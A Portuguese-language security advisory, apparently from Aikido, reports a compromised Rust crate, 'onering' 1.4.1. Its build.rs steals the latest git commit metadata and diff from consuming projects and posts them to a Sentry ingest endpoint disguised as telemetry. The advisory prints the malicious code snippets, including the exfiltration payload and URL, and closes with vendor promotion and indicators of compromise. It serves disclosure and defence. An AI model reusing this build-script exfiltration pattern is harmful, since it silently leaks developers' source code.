Em 10 de junho de 2026, detectamos comportamento malicioso na versão mais recente, 1.4.1, do crate Rust "onering". Onering é uma biblioteca de fila síncrona e canais de alta vazão para Rust, com mais de 18.000 downloads no crates.io. Nas últimas semanas, npm, PyPI e GitHub receberam a maior parte da atenção com uma onda de comprometimentos da supply chain. Esta semana é a vez do Rust.
A versão mais recente adicionou um arquivo build.rs que silenciosamente coleta dados git de qualquer projeto que esteja compilando o crate e os envia para um servidor remoto, incluindo o código-fonte real do seu commit mais recente. Já vimos atacantes serem criativos com a execução de payloads em tempo de compilação em npm e PyPI antes, e agora estão experimentando isso em Rust. Embora a maioria dos ataques à supply chain recentes tenha focado no roubo de credenciais, este parece estar puramente focado no código-fonte.
O problema não se limita ao pacote publicado no crates.io. O repositório GitHub do mantenedor também parece estar comprometido, portanto, puxar o crate do git em vez do registro não o torna seguro. Alertamos imediatamente o mantenedor: https://github.com/cenotelie/onering/issues/1
O que o build.rs malicioso faz
A build.rs é um script de build. O Cargo o compila e executa na máquina do desenvolvedor durante o build. Isso o torna um local de alto valor para esconder um payload, porque simplesmente depender do crate e compilar é suficiente para acioná-lo. Você nunca precisa chamar uma única função da biblioteca.
O injetado build.rs faz três coisas.
Primeiro, ele localiza a raiz do projeto que está consumindo o crate, não seu próprio diretório. Ele sobe a partir de OUT_DIR até encontrar o target diretório, e então pega seu pai. O resultado é o seu repositório.
fn get_project_path() -> Result<PathBuf, Box<dyn std::error::Error>> {
let dir = PathBuf::from(std::env::var("OUT_DIR")?);
let mut project_dir = &*dir;
while let Some(parent) = project_dir.parent() {
if let Some(last) = parent.iter().last()
&& last == "target"
&& let Some(parent) = parent.parent()
{
project_dir = parent;
break;
}
project_dir = parent;
}
Ok(project_dir.to_path_buf())
}Em segundo lugar, ele executa dois comandos git no seu repositório. Um coleta metadados de commit. O outro captura o diff textual completo do seu commit mais recente.
let Ok(commit) = git(
&project_path,
&[
"log",
"-n",
"1",
r#"--pretty=format:{"commit":"%H","author":"%an","email":"%ae","date":"%aI","subject":"%s"}"#,
],
) else {
return;
};
let Ok(patch) = git(&project_path, &["diff", "HEAD^", "HEAD"]) else {
return;
};O git diff HEAD^ HEAD chamada captura o diff completo do seu último commit, que é exfiltrado toda vez que você faz um build, assim, ao longo de muitos commits, ele vaza um fluxo contínuo das suas alterações de código-fonte reais, em vez de um único snapshot.
Em terceiro lugar, ele disfarça os dados roubados como um evento de telemetria do Sentry e o envia via POST com curl para um endpoint de ingestão do Sentry. Os metadados do commit se tornam as tags do evento, e o diff do seu código é inserido no extra.patch campo.
let payload = format!(
r#"{{"event_id":"{}","dsn":"https://8197ee42c4f59c83f4cc6d48f5bae821@o4511539639222272.ingest.de.sentry.io/4511539669368912"}}
{{"type":"event"}}
{{"message":"on build","level":"info","platform":"rust","tags": {commit},"extra": {{"patch":"{}"}}}}"#,
Uuid::new_v4().as_simple(),
patch.replace('"', "\\\"").replace('\n', "\\n"),
);
let Ok(_output) = request(
"POST",
"https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/",
&["Accept: application/json", "Content-Type: application/x-sentry-envelope"],
&payload,
) else {
return;
};O disfarce é intencional. Para qualquer pessoa que observe o tráfego de saída durante um build, uma requisição para uma URL de ingestão do Sentry parece um relatório de crash comum. Há também uma linha comentada restante, // std::fs::write("data.txt", payload), o que sugere fortemente que o payload foi testado localmente escrevendo-o em disco antes que a chamada de rede fosse configurada.
Como a Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.
Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.
Indicadores de comprometimento
- Dependência
oneringversão 1.4.1 de crates.io. - O endpoint de ingestão do Sentry
https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/. - A chave pública DSN do Sentry
8197ee42c4f59c83f4cc6d48f5bae821, ID da organizaçãoo4511539639222272, e ID do projeto4511539669368912.

